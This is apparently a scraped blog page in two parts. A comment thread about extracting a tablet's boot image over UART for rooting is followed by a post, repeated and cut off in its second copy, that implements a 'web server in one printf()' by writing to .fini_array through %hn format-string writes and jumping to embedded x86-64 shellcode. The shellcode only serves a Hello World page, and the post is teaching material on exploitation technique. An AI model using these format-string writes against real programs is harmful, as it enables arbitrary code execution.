fastboot binary, may be a newer or older version of it. Reply Tobias says: May 13, 2024 at 10:33 pm I was able to root my Pritom P7 EEA using this method. Thanks a bunch for extracting the boot image 😀 Reply XH64bit says: June 22, 2024 at 3:38 am Hi, I’m trying to do the same boot.img extraction process on another similar tablet powered by the same SoC. The problem is that I’m new to Uart and all of that stuff and I don’t understand where to run the commands for the dumping process. Here’s what I already done: unlocked my bootloader and checked for su binary but no luck there. Opened up the tablet and located the TX and RX pins on the mobo, soldered wires there and connected them to my Uart adapter (CP2102 if that matters) including the ground taken from the USB-C port and then it was the part where I have no idea what to do next, turning the tablet on lights up one of the LEDs on my adapter and then it starts blinking during startup. I tried using putty on my windows pc to connect to the adapter but when I start a session I see nothing, even when pressing the reset button or doing anything else its just a blank terminal. If you can give me some advice on what to do next or provide some links where it explains a similar process more datelined it would be great. Thank you in advice! Reply admin says: June 22, 2024 at 7:35 am Make sure you connect RX to TX and TX to RX and make sure you choose the correct baud rate. Reply XH64bit says: June 22, 2024 at 4:03 pm Thanks a lot for your response, I swapped around the wires and tried different baud rates (11500 seems to be working fine) and now I see logs as I hit the reset button and during the boot process. Now I tried “adb reboot efex” and it kinda worked (the tablet rebooted and now I have a black screen and in my console I see some U-boot welcome messages and that stuff so I guess that its working fine) but I still can’t type anything to the console window on my pc, I’m guessing I might need a different app or something to be able to run commands. Would really appreciate it if you can share the app you used to run the commands. Reply XH64bit says: June 22, 2024 at 6:03 pm So a small update on that, I was able to type commands after just pressing one button on my keyboard during the tablet’s boot process, I ran all of the commands and got my boot image but magisk is unable to patch it for some reason, maybe the size is not the same as on ur device but in U-boot when I type “env print” I get the same normal boot string as yours “boot_normal=sunxi_flash read 45000000 boot;bootm 45000000” and in fastbootd when I type “getvar all” I get “(bootloader) partition-size:boot_a:0x4000000” and “(bootloader) partition-size:boot_b:0x4000000” so I guess the command “fatwrite mmc 0:1 45000000 boot.img 4000000” should be the same for me? As I said I get an error when truing to patch the image saved to the SD card and it says that “Unable to patch ramdisk” but another thing is that it says “Magisk patched boot image detected” while the image is definitely wasn’t patched with magisk before. Maybe its because my SD card is in Fat32 and not just Fat but idk doesn’t seem like it complains about that during the dump process in U-boot. Reply admin says: June 23, 2024 at 1:58 am Did you do “sunxi_flash read 45000000 boot” before writing to MMC? This will read the boot loader to memory before you write it to disk. XH64bit says: June 24, 2024 at 12:15 am So I think the issue was in my SD card, I tried a different one and it finally worked. btw I spend like 4 hours yesterday trying to understand what was wrong and went as far as comparing ur image with mine in hex editor and only then I saw that it was weird (I mean hex is always a weird for me but it just looked really corrupted). I want to thank you for all the afford u put into troubleshooting it for me, I learned a lot of new stuff and I think that’s gonna be really useful in my adventures of yanking random crappy tablets for fun admin says: June 24, 2024 at 12:55 am I am glad it works for you. This is how I started: by just trying to follow some random stuff made by someone else on the internet. positivo60fps says: July 3, 2024 at 10:29 am Now with root installed, how do I backup the recovery? in dev/block/by-name there is no recovery folder Reply admin says: July 3, 2024 at 12:02 pm it doesn’t have a recovery partition, it just uses boot_a and boot_b Reply minims says: October 2, 2024 at 3:42 pm Hello, is there a way to upgrade the P7 to a more revent version of Android. It’s currently Android Go 11. Reply Art says: March 11, 2025 at 9:53 pm Hello, need super vendor_boot boot vbmeta vbmeta_system vbmeta_vendor and odm. Can you help me? Reply TheLabronic says: May 14, 2025 at 1:17 pm Hi to everyone, i’m going crazy. I have the same tablet, but I’m stuck trying to break into U-Boot. I connected the tablet’s TX, RX, and GND pins to my USB UART adapter (with RX and TX crossed). Using a terminal, I can see the boot log when I run adb reboot efex. The problem is, when I press Enter (or any other key) to stop the boot process, it doesn’t respond. I’ve tried different baud rates (115200, 57600, 38400, 19200), but nothing changes. I also tried swapping the RX and TX connections between the tablet and the USB UART, but still no luck. I’m using a FT232 USB UART, and I have the latest drivers installed. I’ve tested multiple terminal programs (Putty, Minicom, HyperTerminal), and even tried a different computer or os (Linux & Win)—nothing works. I’m out of ideas. Any help would be greatly appreciated. Reply lpt2007 says: June 27, 2025 at 10:02 pm Hi, I have device PRITOM P7, Product P7_A05,CPU Allwinner A523, arm64-v8a,Build number: TAB_7Pro_14_US_20241237. And I try to get boot.img from device with no luck. Can I use your boot.img for my device? If not. Do you know where can I get img? thx in advance Reply admin says: June 27, 2025 at 11:53 pm You definitely can’t, your device uses 64 bit OS, mine is 32 bit. Reply lpt2007 says: June 28, 2025 at 8:32 am Hi, Thanks for quick replay:) Do you know good place where users share their dump-ed boot images for chinese tablets and phones? Reply admin says: June 28, 2025 at 9:41 am I am sorry, I don’t know the answer to this. When I searched for mine, I couldn’t find any, that was why I opened it and dumped it myself. Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23737 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23554#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov 